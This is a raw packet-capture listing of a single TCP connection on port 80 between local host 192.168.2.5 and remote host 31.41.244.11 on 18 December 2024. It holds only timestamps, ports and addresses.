Dec 18, 2024 19:08:50.319446087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.319519997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.319565058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.323395014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.323443890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.323472023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.323508978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.327522993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.327534914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.327563047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.327577114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.331366062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.331413031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.331666946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.331705093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.335357904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.335413933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.335633039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.335712910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.339349985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.339363098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.339395046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.339406967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.343333960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.343347073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.343395948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.347197056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.347253084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.347325087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.347367048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.351227045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.351238966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.351275921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.355029106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.355084896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.355622053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.355664015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.358783007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.358833075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.359014034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.359055042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.362612963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.362665892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.362895966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.362936020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.366511106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.366554976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.366614103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.366652966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.370311975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.370358944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.370445967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.370487928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.373987913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.374032974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.374058008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.374093056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.377881050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.377938032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.377964020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.378006935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.381618023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.381629944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.381668091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.381680965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.385173082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.385217905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.386276960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.386320114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.388919115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.388931036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.388958931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.388978004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.392575026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.392625093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.392649889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.392689943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.396408081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.396455050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.396667957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.396708012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.399992943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.400038958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.400588989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.400635004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.403690100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.403737068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.404093027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.404134035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.407341957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.407382965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.407504082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.407542944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.411006927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.411101103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.411221027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.411258936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.414787054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.414799929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.414829969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.414849043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.418450117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.418500900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.418515921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.418557882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.422295094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.422334909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.422446966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.422487020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.425781012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.425832987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.426146984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.426188946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.429488897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.429534912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.429563046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.429601908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.433219910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.433264971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.433563948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.433604956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.436980963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.437022924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.437498093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.437536955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.440684080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.440732002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.441222906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.441262007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.444267988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.444319963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.444487095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.444526911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.447999954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.448050022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.448052883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.448090076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.451661110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.451704979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.452040911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.452083111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.455512047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.455565929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.455588102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.455621958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.459321976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.459333897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.459378004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.462896109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.462939024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.462982893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.463031054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.466479063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.466523886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.466600895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.466638088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.470158100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.470204115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.470659971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.470695972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.473956108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.474004030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.474387884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.474431038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.477581024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.477627993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.477751970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.477809906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.481225967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.481270075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.481404066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.481446981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.485057116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.485105991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.485224009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.485289097 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.488684893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.488730907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.488956928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.488998890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.492445946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.492487907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.492578030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.492614985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.496051073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.496115923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.496153116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.496191978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.499762058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.499809980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.500202894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.500250101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.503432989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.503478050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.503489017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.503526926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.507136106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.507184982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.507343054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.507380962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.510938883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.510981083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.511604071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.511647940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.514604092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.514642000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.514658928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.514692068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.518239975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.518285036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.518425941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.518471956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.522512913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.522552013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.522563934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.522591114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.525654078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.525702000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.525824070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.525865078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.529429913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.529474020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.529490948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.529576063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.533159018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.533190012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.533206940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.533227921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.536989927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.537039042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.537169933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.537210941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.540465117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.540498018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.540513992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.540534973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.544090033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.544140100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.544959068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.545006990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.547806978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.547857046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.547878027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.547923088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.551565886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.551664114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.551887035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.551929951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.555239916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.555289030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.556489944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.556539059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.559004068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.559051037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.559242010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.559289932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.562835932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.562882900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.562927961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.562972069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.566402912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.566416025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.566458941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.566474915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.570190907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.570204020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.570252895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.574572086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.574604034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.574639082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.574656963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.577363014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.577410936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.578701019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.578752041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.581237078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.581250906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.581300020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.584865093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.584908962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.584964991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.585025072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.588485956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.588537931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.588736057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.588795900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.592179060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.592497110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.592619896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.595942020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.596121073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.596363068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.596416950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.599572897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.599689007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.599733114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.599786043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.603342056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.603390932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.603810072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.603858948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.606993914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.607043982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.607069969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.607089043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.610728979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.610740900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.610784054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.614394903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.614448071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.614566088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.614607096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.618153095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.618212938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.618213892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.618258953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.621861935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.621917963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.622057915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.622107029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.625457048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.625509024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.625816107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.625866890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.629194975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.629254103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.629918098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.629971027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.632952929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.633012056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.633076906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.633121014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.636739969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.636816978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.636826992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.636873960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.640239000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.640295982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.640557051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.640609980 CET	49739	80	192.168.2.5	31.41.244.11
